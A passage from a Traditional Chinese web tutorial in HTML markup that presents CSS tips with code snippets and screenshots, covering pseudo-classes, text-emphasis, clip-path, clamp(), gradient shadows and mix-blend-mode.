src="https://live.staticflickr.com/65535/52750609214_9452c66f93_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="暫停-pseudo-class">暫停 Pseudo Class</h3> <p>使用 <code>:paused</code> 選擇器在暫停狀態下設置媒體元素的樣式 同樣 <code>:paused</code> 我們也有 <code>:playing</code>。</p> <p><span class="focus">目前僅 Safari 支持</span></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 目前僅 Safari 支持 */</span> </span></span><span class="line"><span class="cl"><span class="nt">video</span><span class="p">:</span><span class="nd">paused</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">opacity</span><span class="p">:</span> <span class="mf">0.6</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">video</span><span class="p">:</span><span class="nd">playing</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">opacity</span><span class="p">:</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750860913_73b7a0f593_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="強調文字">強調文字</h3> <p>使用 <code>text-emphasis</code> 屬性將強調標記應用於文本元素。您可以指定任何字串，包括表情符號作為其值。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">text-emphasis</span><span class="p">:</span> <span class="s2">&#34;⏰&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750367601_3a10a0a4b3_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="樣式首字偽元素">樣式首字偽元素</h3> <p>避免不必要的 <code>&lt;span&gt;</code>，而是使用偽元素來為您的內容設置樣式，就像 <code>first-letter</code> 偽元素一樣，我們也有 <code>first-line</code> 偽元素。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">h1</span><span class="p">::</span><span class="nd">first-letter</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">2</span><span class="kt">rem</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span><span class="mh">#ff8A00</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52749836247_4563016477_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="變數的回退值">變數的回退值</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 🎨 由於未定義 var(--black)，將 h1 回退為紅色 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">root</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nv">--orange</span><span class="p">:</span> <span class="kc">orange</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nv">--coral</span><span class="p">:</span> <span class="kc">coral</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="kc">black</span><span class="p">,</span> <span class="kc">red</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750609669_c172630efd_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="改變書寫模式">改變書寫模式</h3> <p>您可以使用書寫模式屬性 <code>writing-mode</code> 來指定文本在您的網站上的佈局方式，即垂直或水平。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>Cakes <span class="err">&amp;</span> Bakes<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 💡 指定文字佈局方向為 sideways-lr */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">writing-mode</span><span class="p">:</span> <span class="kc">sideways</span><span class="o">-</span><span class="n">lr</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750367576_d8f336d878_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="彩虹動畫">彩虹動畫</h3> <p>為元素建立連續循環的彩色動畫以吸引用戶注意力。</p> <p>閱讀 <a class="link" href="https://github.com/devsyedmohsin/css-tips-tricks#rainbow-animation" target="_blank" rel="noopener" >css tips tricks</a> 以了解何時使用 <code>prefer-reduced-motion</code> 媒體功能。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">button</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">animation</span><span class="p">:</span> <span class="n">rainbow-animation</span> <span class="mi">200</span><span class="kt">ms</span> <span class="kc">linear</span> <span class="kc">infinite</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">rainbow-animation</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">to</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">filter</span><span class="p">:</span> <span class="nb">hue-rotate</span><span class="p">(</span><span class="mi">0</span><span class="kt">deg</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nt">from</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">filter</span><span class="p">:</span> <span class="nb">hue-rotate</span><span class="p">(</span><span class="mi">360</span><span class="kt">deg</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750861253_46313e25ec_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="hover-時縮放">Hover 時縮放</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 定義圖像容器的高度和寬度並隱藏溢出 */</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">img-container</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">250</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">250</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* 🖼️ 使容器內的圖像填滿容器 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">img-container</span> <span class="nt">img</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">object-fit</span><span class="p">:</span> <span class="kc">cover</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">transition</span><span class="p">:</span> <span class="k">transform</span> <span class="mi">200</span><span class="n">m</span> <span class="kc">ease-in</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nt">img</span><span class="p">:</span><span class="nd">hover</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">transform</span><span class="p">:</span> <span class="nb">scale</span><span class="p">(</span><span class="mf">1.2</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750609649_87ac620e38_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="屬性選擇器">屬性選擇器</h3> <p>使用屬性選擇器根據屬性選擇 HTML 元素。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;&#34;</span><span class="p">&gt;</span>HTML<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span><span class="p">&gt;</span>CSS<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;&#34;</span><span class="p">&gt;</span>JavaScript<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 🔗 以所有具有 href 屬性的元素為目標 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">a</span><span class="o">[</span><span class="nt">href</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750367436_0d7f8b636e_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="裁剪元素">裁剪元素</h3> <p>使用 <code>clip-path</code> 屬性建立有趣的視覺效果，例如將元素剪裁成三角形或六邊形等自定義形狀。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">150</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">150</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">clip-path</span><span class="p">:</span> <span class="nb">polygon</span><span class="p">(</span><span class="mi">50</span><span class="kt">%</span> <span class="mi">0</span><span class="kt">%</span><span class="p">,</span> <span class="mi">0</span><span class="kt">%</span> <span class="mi">100</span><span class="kt">%</span><span class="p">,</span> <span class="mi">100</span><span class="kt">%</span> <span class="mi">100</span><span class="kt">%</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750861113_7bc42329c6_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="檢測屬性是否支持">檢測屬性是否支持</h3> <p>使用 CSS <code>@support</code> 規則 直接在您的 CSS 中檢測對 CSS 特性的支持。查看 <a class="link" href="https://github.com/devsyedmohsin/css-tips-tricks#check-if-property-is-supported" target="_blank" rel="noopener" >css tips tricks</a> 以了解有關功能查詢的更多訊息。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">supports</span> <span class="o">(</span><span class="nt">accent-color</span><span class="o">:</span> <span class="p">#</span><span class="nn">74992e</span><span class="o">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c">/* 如果支持該屬性，將運行的代碼 */</span> </span></span><span class="line"><span class="cl"> <span class="nt">blockquote</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750367401_f9b6da8a91_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="css-嵌套">CSS 嵌套</h3> <p>CSS 一直在研究如何向 CSS 加入嵌套。通過嵌套，您將能夠編寫更直觀、更有條理和更高效的 CSS。</p> <p><span class="focus">目前僅 Safari Technology Preview 支持</span></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">header</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;header&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text&#34;</span><span class="p">&gt;</span>Lorem ipsum, dolor<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">header</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 🎉 您現在可以在 Safari Technology Preview 中嘗試 CSS 嵌套 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">header</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">salmon</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="err">.text{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">18</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="err">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="箝制函數">箝制函數</h3> <p>使用 <code>clamp()</code> 函數實現響應式和流暢的排版。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* Syntax: clamp(minimum, preferred, maximum) */</span> </span></span><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="nf">clamp</span><span class="p">(</span><span class="mf">2.25</span><span class="kt">rem</span><span class="p">,</span><span class="mi">6</span><span class="kt">vw</span><span class="p">,</span><span class="mi">4</span><span class="kt">rem</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750367391_1c1b5e5c35_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="樣式化可選字段">樣式化可選字段</h3> <p>你可以使用 <code>:optional</code> 偽類來設置表單字段的樣式，例如 input、select 和 textarea，這些字段沒有 required 屬性。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 選擇頁面上的所有可選表單域 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">*</span><span class="p">:</span><span class="nd">optional</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">green</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="字間距屬性">字間距屬性</h3> <p>使用 <code>word-spacing</code> 屬性指定單詞之間的空格長度。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">word-spacing</span><span class="p">:</span> <span class="mf">1.245</span><span class="kt">rem</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="建立漸變陰影">建立漸變陰影</h3> <p>這就是如何建立漸變陰影以獲得獨特的用戶體驗。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">root</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nv">--gradient</span><span class="p">:</span> <span class="nb">linear-gradient</span><span class="p">(</span><span class="kc">to</span> <span class="kc">bottom</span> <span class="kc">right</span><span class="p">,</span> <span class="kc">crimson</span><span class="p">,</span> <span class="kc">coral</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-image</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">gradient</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">border-radius</span><span class="p">:</span> <span class="mi">1</span><span class="kt">rem</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">after</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">content</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">inset</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-image</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">gradient</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">border-radius</span><span class="p">:</span> <span class="kc">inherit</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">filter</span><span class="p">:</span> <span class="nb">blur</span><span class="p">(</span><span class="mi">25</span><span class="kt">px</span><span class="p">)</span> <span class="nb">brightness</span><span class="p">(</span><span class="mf">1.5</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">transform</span><span class="p">:</span> <span class="nb">translateY</span><span class="p">(</span><span class="mi">15</span><span class="kt">%</span><span class="p">)</span> <span class="nb">scale</span><span class="p">(</span><span class="mf">0.95</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">z-index</span><span class="p">:</span> <span class="mi">-1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750778930_76e54747a0_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="改變標題位置">改變標題位置</h3> <p>使用 <code>caption-side</code> 屬性將表格標題（表格標題）放置在表格的指定一側。</p> <p><img src="https://live.staticflickr.com/65535/52750861063_a7e931ee0e_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="建立文本列">建立文本列</h3> <p>使用列屬性為文本元素製作漂亮的列佈局。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 🏛️ 將 p 元素的內容分成 3 列 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">column-count</span><span class="p">:</span> <span class="mi">3</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">column-gap</span><span class="p">:</span> <span class="mf">4.45</span><span class="kt">rem</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">column-rule</span><span class="p">:</span> <span class="mi">2</span><span class="kt">px</span> <span class="kc">dotted</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750860928_173ac9b89f_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="bonus一穿透文字效果">BONUS(一)：穿透文字效果</h3> <p>使用 mix-blend-mode 製作穿透文字效果。</p> <p><a class="link" href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/mix-blend-mode" target="_blank" rel="noopener" >MDN 的用法說明</a><br> <a class="link" href="https://caniuse.com/?search=mix-blend-mode" target="_blank" rel="noopener" >Can i use 瀏覽器支援度</a></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;image-container&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text&#34;</span><span class="p">&gt;</span>NATURE<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span 